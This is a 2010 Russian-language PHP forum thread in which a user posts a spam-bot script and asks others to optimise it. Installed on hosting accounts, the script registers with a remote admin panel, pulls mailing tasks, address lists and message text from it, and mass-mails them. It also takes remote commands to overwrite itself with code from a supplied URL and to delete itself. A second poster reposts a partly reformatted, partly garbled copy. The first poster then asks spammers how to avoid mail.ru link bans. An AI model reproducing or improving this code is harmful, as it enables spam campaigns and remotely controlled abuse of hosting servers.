Помогите максимально оптимизировать

Discussion in 'PHP' started by -=Zhenek=-, 28 Sep 2010.

  1. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    Есть админка которая управляет скриптами на хостингах.
    Они рассылают почту.

    Получают задания,команды и т.д
    Но часто это вываливается в 502 ошибку для хостинга.

    Вот код бота,помогите максимально его оптимизировать.


    PHP:
    <?
    $passw = "7777777";
    $script_name = "sam_bot.php";
    $ver = "1.28";
    $adm = "http://xxxx.ru/bot.php";
    $zadanie= "http://xxxx.ru/start.inc";
    $stat = "http://xxxx.ru/stat.php";
    $act= $_POST['act'];
    $pass = $_POST['pass'];
    $pass_g = $_GET['pass'];
    if(
    $pass != $passw && $pass_g != $passw ){echo "Пароль не верный";exit;}
    if(
    $act == "del_conf") {
    if (
    unlink('config.bt'))
    { echo 
    "<br> - <font color=green>Фаил конфигурации удален</font>"; }
    else
    { echo 
    "<br> - <font color=red>Ошибка при удалении файла</font>"; }
    register($adm,1);
    }
    /////////////////////////////////////////////////
    if($act == "update") {
    $new_url = $_POST['new_url'];
    $code = ccurl ($new_url,"");
    $fp = fopen($script_name, 'w'); // Текстовый режим
    fputs ($fp,$code);
    echo 
    "UPDATE - OK-";
    }
    /////////////////////////////////////////////////
    if (!file_exists('config.bt')) {// первый запуск
    register($adm,0);
    }else{
    if(
    $act != "opros") {
    // no first  otstuk
    otvet($adm,$ver); // выполняем ответ серверу
    $fp = ccurl($zadanie,""); // Парсим задание
    if($fp!= "") {
    $zadanie = $fp;
    }
    list(
    $start,$link_mail,$link_text,$link_conf,$mac) = explode("<-->",$zadanie); // задание тут
    if($start=="1") {
    start ($link_mail,$link_text,$link_conf,$mac,$adm,$stat); // начинаем рассылку
    }
    }
    }

    if(
    $act == "opros") {
    otvet($adm,$ver); // выполняем ответ серверу
    $time = $_POST['time'] - time();
    echo 
    " | ответ занял $time секунд";
    }

    if(
    $act == "armagedon") {
    if (
    unlink('config.bt'))
    { echo 
    "<br> - <font color=green>Фаил конфигурации удален</font>"; }
    else
    { echo 
    "<br> - <font color=red>Ошибка при удалении файла</font>"; }

    $bot = str_replace("/","",$script_name);
    if (
    unlink($bot))
    { echo 
    "<br> - <font color=green>Фаил бота удален</font>"; }
    else
    { echo 
    "<br> - <font color=red>Ошибка при удалении файла</font>"; }




    }








    function 
    otvet ($adm,$ver) {
    $file = fopen("config.bt","r"); 
    while (!
    feof ($file) ) {
    $conf = fgets($file);
    }
    list(
    $id,$kontr) = explode("<!-!>",$conf);
    $ip=$_SERVER['REMOTE_ADDR'];
    $code_site=ccurl($adm,"ip=$ip&id=$id&act=otstuk&ver=$ver"); // передаем админке наши данные
    if($code_site == "stop"){echo "<font color=red>Отключен</font>";exit();}
    if(
    $code_site == "OK"){echo "<font color=green>Готов</font>";}
    }

    function 
    register ($adm,$aa) {
    $ip=$_SERVER['REMOTE_ADDR'];
    $name= $_SERVER['HTTP_HOST'];
    $url= "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; 
    if(
    $_POST['name'] != "") {$name=$_POST['name'];}
    if(
    $_POST['type'] != "") {$type="&type=$_POST[type]";}
    $fp = fopen('config.bt', 'w'); // Текстовый режим
    if($fp != FALSE) {
    $code_site=ccurl($adm,"ip=$ip&name=$name&url=$url&act=first&type=$type&rereg=$aa"); // редаем админке наши данные
    }else{
    die(
    "Нет прав на создание файла конфигурации. Регистрация невозможна :(");
    }
    fputs ($fp,$code_site);
    if(
    $_POST['act']=="del_conf") {echo "<br> - Перерегистрировался успешно. Новые данные : $code_site";}
    exit();
    }



    function 
    start($link_mail,$link_text,$link_conf,$mac,$adm,$stat){
    $file = fopen("config.bt","r"); 
    while (!
    feof ($file) ) {
    $conf = fgets($file);
    }
    list(
    $id,$kontr) = explode("<!-!>",$conf);
    $kontr = ccurl("http://10000maek.ru/go.php?&act=kontr",""); // 
    if($link_mail == "") {echo "<font color=red>Нет ссылки для получения мыл</font>";exit;}
    if(
    $link_text == "") {echo "<font color=red>Нет ссылки для получения текста</font>";exit;}
    $mail=ccurl($link_mail,""); // получаем список мыл
    $text =ccurl($link_text,""); // получаем text
    $config =ccurl($link_conf,""); // получаем configuratin
    if($mail =="") {echo "нет мыл"; exit;}
    if(
    $config =="") {echo "нет конфига"; exit;}
    if(
    $text =="") {echo "нет текста"; exit;}
    $mail = str_replace("<br>",",",$mail)."$kontr";
    echo 
    " и начал рассылку.".time()."<br>";
    list(
    $from,$charset,$bcc,$cc,$subject,$plane) = explode("<!-=-!>",$config);
    $to= "$mail" ; //обратите внимание на запятую

    /* тема/subject */
    $subject = urlencode ($subject);
    $subject = str_replace ('%', '=', $subject); 
    $subject = str_replace ('+', '_', $subject);
    $subject = '=?UTF-8?Q?'.$subject.'?=';

    //$from =  urlencode ($from);
    echo "<br>".$from."<br>";
    if (
    preg_match ('#(.*)\s?<(.*)>#', $from, $mail)) {
        
    $mail[1] = urlencode ($mail[1]);
        
    $mail[1] = str_replace ('%', '=', $mail[1]); 
        
    $mail[1] = str_replace ('+', '_', $mail[1]);
        
    $itog_from = '=?UTF-8?Q?'.$mail[1].'?= <'.$mail[2].'>';
        } else {
    $itog_from = "$from";
        }
    /* Для отправки HTML-почты вы можете установить шапку Content-type. */
    $headers= "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/$plane; charset=\"$charset\" \r\n";
    $headers.="X-Priority: 3 (Normal)\r\n";
    /* дополнительные шапки */
    $headers .= "From: $itog_from\r\n";
    //$headers .= "Cc: $cc\r\n";
    //$headers .= "Bcc: $bcc\r\n";
    $rand=rand(11111111,999999999999);
    $headers.=  "Message-ID: <172562218.".date("YmjHis")."@$rand>\r\n";
    $good=0;
    $bad=0;
    /* и теперь отправим из */
    $mail_array = explode(",", $to); 
    $poz=0;
    $kolvo=count($mail_array);
    $url_mac=$mac."&lim=$kolvo";
    //$text_m = ccurl($url_mac,"");
    //$text_m = str_replace("<br>",",",$text_m);
    //$text_array = explode(",", $text_m); 
    foreach($mail_array as $key => $value) 
    {
    if(
    $poz==10) {
    $text =ccurl($link_text,""); // получаем text
    $poz=0;
    }else{
    $poz++;
    }
    //$mac=$text_array[$poz];
    list($value,$fio) = explode(":",$value);
    $text_v = str_replace ("%TO%",$value,$text);
    $text_v = str_replace ("%DATE%",date("j.n.Y"),$text_v);
    $text_v = str_replace ("%FIO%",$fio,$text_v);
    $text_v = str_replace ("%RAND1%",rand(1,9),$text_v);
    $text_v = str_replace ("%RAND2%",rand(11,99),$text_v);
    $text_v = str_replace ("%RAND3%",rand(111,999),$text_v);
    $text_v = str_replace ("%RAND4%",rand(1111,9999),$text_v);
    $text_v = str_replace ("%RAND6%",rand(111111,999999),$text_v);
    $text_v = str_replace ("%RAND7%",rand(1111111,9999999),$text_v);
    $text_v = str_replace ("%RAND10%",rand(1111111111,9999999999),$text_v);
    //$text_v = str_replace("%mac%",$mac,$text_v);
    $len = rand(15, 25); 
    $alph = 'ABCDEFGH IJKLMKPQR STUVWXYZ123456789 '; 
    $str=0;
    $poz=0;
    for(
    $i=1; $i<=$len; $i++) 
    { 
       
    $poz = rand(0, strlen($alph)-1); 
       
    $str.= $alph{$poz}; 
    } 
    $text_v = str_replace("%RANDT%",$str,$text_v);
    $str="";
    if(
    mail($value, $subject, $text_v, $headers)) {$good++;}else{$bad++;}
    За говнокод не пинать)))))
     
  2. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    -=Zhenek=- гуглите на тему "профилирование PHP", "поиск узких мест кода", "паттерны программирования", "рефакторинг"

    Я что-то не пойму, откуда ветер такой подул? Откуда у народа появляется мысль, что сюда можно постить простыню кода и просить "сделайте за меня и не ругайтесь"? Работайте, блин, сами.
     
    _________________________
    2 people like this.
  3. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    PHP:
    <?php
        $passw          
    = '7777777';
        
    $script_name    = 'sam_bot.php';
        
    $ver            = '1.28';
        
    $adm            = 'http://xxxx.ru/bot.php';
        
    $zadanie        = 'http://xxxx.ru/start.inc';
        
    $stat           = 'http://xxxx.ru/stat.php';
        
    $act            = isset($_POST['act'])     ?   $_POST['act']    : null;
        
    $pass           = isset($_POST['pass'])    ?   $_POST['pass']   : null;
        
    $pass_g         = isset($_GET['pass'])     ?   $_GET['pass']    : null;
        
        if (
    $pass != $passw && $pass_g != $passw ){die('Пароль не верный');}
        
        if (
    $act == 'del_conf')
        {
            if (
    unlink('config.bt'))
            {
                echo 
    '<br/> - <font color=green>Фаил конфигурации удален</font>';
            }
            else
            { 
                echo 
    '<br/> - <font color=red>Ошибка при удалении файла</font>'; 
            }
            
    register($adm, 1);
        }
        
    /////////////////////////////////////////////////
        
    if ($act == 'update')
        {
            
    $new_url = $_POST['new_url'];
            
    $code = ccurl ($new_url, '');
            
    $fp = fopen($script_name, 'w'); // Текстовый режим
            
    fputs ($fp,$code);
            echo 
    'UPDATE - OK-';
        }
        
    /////////////////////////////////////////////////
        
    if (!file_exists('config.bt')) // первый запуск
        
    {
            
    register($adm, 0);
        }
        else
        {
            if (
    $act != 'opros')
            {
                
    // no first  otstuk
                
    otvet($adm, $ver); // выполняем ответ серверу
                
    $fp = ccurl($zadanie, ''); // Парсим задание
                
    if (!empty($fp))
                {
                    
    $zadanie = $fp;
                }
                
                list(
    $start, $link_mail, $link_text, $link_conf, $mac) = explode('<-->', $zadanie); // задание тут
                
    if ($start == '1')
                {
                    
    start ($link_mail, $link_text, $link_conf, $mac, $adm, $stat); // начинаем рассылку
                
    }
            }
        }
        
        if(
    $act == 'opros')
        {
            
    otvet($adm, $ver); // выполняем ответ серверу
            
    $time = $_POST['time'] - time();
            echo 
    ' | ответ занял ' . $time . 'секунд';
        }
        
        if(
    $act == 'armagedon')
        {
            if (
    unlink('config.bt'))
            {
                echo 
    '<br/> - <font color=green>Фаил конфигурации удален</font>';
            }
            else
            {
                echo 
    '<br/> - <font color=red>Ошибка при удалении файла</font>';
            }
            
            
    $bot = str_replace('/', '', $script_name);
            if (
    unlink($bot))
            {
                echo 
    '<br/> - <font color=green>Фаил бота удален</font>';
            }
            else
            { 
                echo 
    '<br/> - <font color=red>Ошибка при удалении файла</font>'; 
            }
        }
        
        function 
    otvet($adm, $ver)
        {
            
    $file = fopen('config.bt', 'r'); 
            while (!
    feof ($file))
            {
                
    $conf = fgets($file);
            }
            
            list(
    $id, $kontr) = explode('<!-!>', $conf);
            
    $ip = $_SERVER['REMOTE_ADDR'];
            
    $code_site = ccurl($adm, 'ip=' . $ip . '&id=' . $id . '&act=otstuk&ver=' .$ver); // передаем админке наши данные
            
    if ($code_site == 'stop')
            {
                echo 
    '<font color=red>Отключен</font>';
                exit();
            }
            
            if (
    $code_site == 'OK')
            {
                echo 
    '<font color=green>Готов</font>';
            }
        }
        
        function 
    register ($adm, $aa)
        {
            
    $ip     = $_SERVER['REMOTE_ADDR'];
            
    $name   = !empty($_POST['name'])    ?   $_POST['name']  :   $_SERVER['HTTP_HOST'];
            
    $url    = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF']; 
            if (!empty(
    $_POST['type']))
            {
                
    $type = '&type=' . $_POST['type'];
            }
            

            if (
    $fp = fopen('config.bt', 'w')) // Текстовый режим
            
    {
                
    $code_site = ccurl($adm, 'ip=' . $ip . '&name=' . $name . '&url=' . $url . '&act=first&type=' . $type . '&rereg=' . $aa); // редаем админке наши данные
            
    }
            else
            {
                die(
    'Нет прав на создание файла конфигурации. Регистрация невозможна :(');
            }
            
    fputs ($fp, $code_site);
            
            if(
    $_POST['act'] == 'del_conf')
            {
                echo 
    '<br/> - Перерегистрировался успешно. Новые данные : ' . $code_site;
            }
            exit();
        }
        
        function 
    start($link_mail, $link_text, $link_conf, $mac,$adm, $stat)
        {
            
    $file = fopen('config.bt','r'); 
            while (!
    feof ($file))
            {
                
    $conf = fgets($file);
            }
            list(
    $id, $kontr) = explode('<!-!>', $conf);
            
    $kontr = ccurl('http://10000maek.ru/go.php?&act=kontr', ''); // 
            
    if($link_mail == '') {echo '<font color=red>Нет ссылки для получения мыл</font>';exit;}
            if(
    $link_text == '') {echo '<font color=red>Нет ссылки для получения текста</font>';exit;}
            
    ail=ccurl($link_mail,''); // получаем список мыл
            
    $text =ccurl($link_text,''); // получаем text
            
    $config =ccurl($link_conf,''); // получаем configuratin
            
    if($mail =='') {echo 'нет мыл'; exit;}
            if(
    $config =='') {echo 'нет конфига'; exit;}
            if(
    $text =='') {echo 'нет текста'; exit;}
            
    $mail = str_replace('<br>',',',$mail).'$kontr';
            echo 
    ' и начал рассылку.'.time().'<br>';
            list(
    $from,$charset,$bcc,$cc,$subject,$plane) = explode('<!-=-!>',$config);
            
    $to= '$mail' ; //обратите внимание на запятую

    /* тема/subject */
    $subject = urlencode ($subject);
    $subject = str_replace ('%', '=', $subject); 
    $subject = str_replace ('+', '_', $subject);
    $subject = '=?UTF-8?Q?'.$subject.'?=';

    //$from =  urlencode ($from);
    echo '<br>'.$from.'<br>';
    if (
    preg_match ('#(.*)\s?<(.*)>#', $from, $mail)) {
        
    $mail[1] = urlencode ($mail[1]);
        
    $mail[1] = str_replace ('%', '=', $mail[1]); 
        
    $mail[1] = str_replace ('+', '_', $mail[1]);
        
    $itog_from = '=?UTF-8?Q?'.$mail[1].'?= <'.$mail[2].'>';
        } else {
    $itog_from = '$from';
        }
    /* Для отправки HTML-почты вы можете установить шапку Content-type. */
    $headers= 'MIME-Version: 1.0\r\n';
    $headers .= 'Content-type: text/$plane; charset=\'$charset\' \r\n';
    $headers.='X-Priority: 3 (Normal)\r\n';
    /* дополнительные шапки */
    $headers .= 'From: $itog_from\r\n';
    //$headers .= 'Cc: $cc\r\n';
    //$headers .= 'Bcc: $bcc\r\n';
    $rand=rand(11111111,999999999999);
    $headers.=  'Message-ID: <172562218.'.date('YmjHis').'@$rand>\r\n';
    $good=0;
    $bad=0;
    /* и теперь отправим из */
    $mail_array = explode(',', $to); 
    $poz=0;
    $kolvo=count($mail_array);
    $url_mac=$mac.'&lim=$kolvo';
    //$text_m = ccurl($url_mac,'');
    //$text_m = str_replace('<br>',',',$text_m);
    //$text_array = explode(',', $text_m); 
    foreach($mail_array as $key => $value) 
    {
    if(
    $poz==10) {
    $text =ccurl($link_text,''); // получаем text
    $poz=0;
    }else{
    $poz++;
    }
    //$mac=$text_array[$poz];
    list($value,$fio) = explode(':',$value);
    $text_v = str_replace ('%TO%',$value,$text);
    $text_v = str_replace ('%DATE%',date('j.n.Y'),$text_v);
    $text_v = str_replace ('%FIO%',$fio,$text_v);
    $text_v = str_replace ('%RAND1%',rand(1,9),$text_v);
    $text_v = str_replace ('%RAND2%',rand(11,99),$text_v);
    $text_v = str_replace ('%RAND3%',rand(111,999),$text_v);
    $text_v = str_replace ('%RAND4%',rand(1111,9999),$text_v);
    $text_v = str_replace ('%RAND6%',rand(111111,999999),$text_v);
    $text_v = str_replace ('%RAND7%',rand(1111111,9999999),$text_v);
    $text_v = str_replace ('%RAND10%',rand(1111111111,9999999999),$text_v);
    //$text_v = str_replace('%mac%',$mac,$text_v);
    $len = rand(15, 25); 
    $alph = 'ABCDEFGH IJKLMKPQR STUVWXYZ123456789 '; 
    $str=0;
    $poz=0;
    for(
    $i=1; $i<=$len; $i++) 
    { 
       
    $poz = rand(0, strlen($alph)-1); 
       
    $str.= $alph{$poz}; 
    } 
    $text_v = str_replace('%RANDT%',$str,$text_v);
    $str='';
    if(
    mail($value, $subject, $text_v, $headers)) {$good++;}else{$bad++;}
    осилил только половину :D
     
    1 person likes this.
  4. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    Isis огромное спасибо.

    У меня есть вопрос.

    Бот получает от админки уже рендомизированное письмо и шлет его на 10 адресов,потом получает новое и так по кругу.
    Но когда даешь боту при запуске задания 500 ящиков ему приходится 50 раз запросить письмо.. А размещать рендомизатор на стороне бота плохо(лишние папки при заливке и количество файлов с 1 увеличивается).

    Как думаете будет лучше сразу запросить 5 вариантов писем и разослать,потом еще 5 или оставить как есть?
    У скрипта всего 30 сек для получения 50 писем и рассылке со всеми проверками,генерациями потом 502.

    Хотелось бы еще улсышать мнение спамеров по этому поводу.. Последнее время маил стал жестко банить ссылку после 2к писем раньше после 10к. Вот я и думаю где я ошибаюсь(

    Всем спасибо за помощь.

    п.с Gifts совсем не хотел никого напрягать. Если отнял у вас время извиняюсь, но раз я пришел сюда,значит на то была причина и я много читаю, но не все понимаю, стараюсь как могу сделать все сам, если бы не старался,то написал этот пост месяца 4 назад.
     
    #4 -=Zhenek=-, 29 Sep 2010
    Last edited: 29 Sep 2010
  5. immortalist

    immortalist Member

    Joined:
    16 Jan 2010
    Messages:
    99
    Likes Received:
    64
    Reputations:
    37
    Вам не кажется, что ЧСВ у Вас слишком ОВЕР 9к? Расслабьтесь, Вас всего лишь попросили о помощи - нет желания помогать - проходите мимо. Или я в чем-то не прав?

    // Gifts: мне кажется вы оффтопите и, чтобы у вас не развился комплекс Д'Артаньяна и борца с режимом - я дам вам возможность прочитать этот комментарий.

    //Gifts: Отвечу тут же: тема нарушает сразу два правила данного раздела п.2 и п.4, но заметьте - я мало что не удалил топик, а ответил на вопрос. Ферштейн?
     
    #5 immortalist, 29 Sep 2010
    Last edited by a moderator: 29 Sep 2010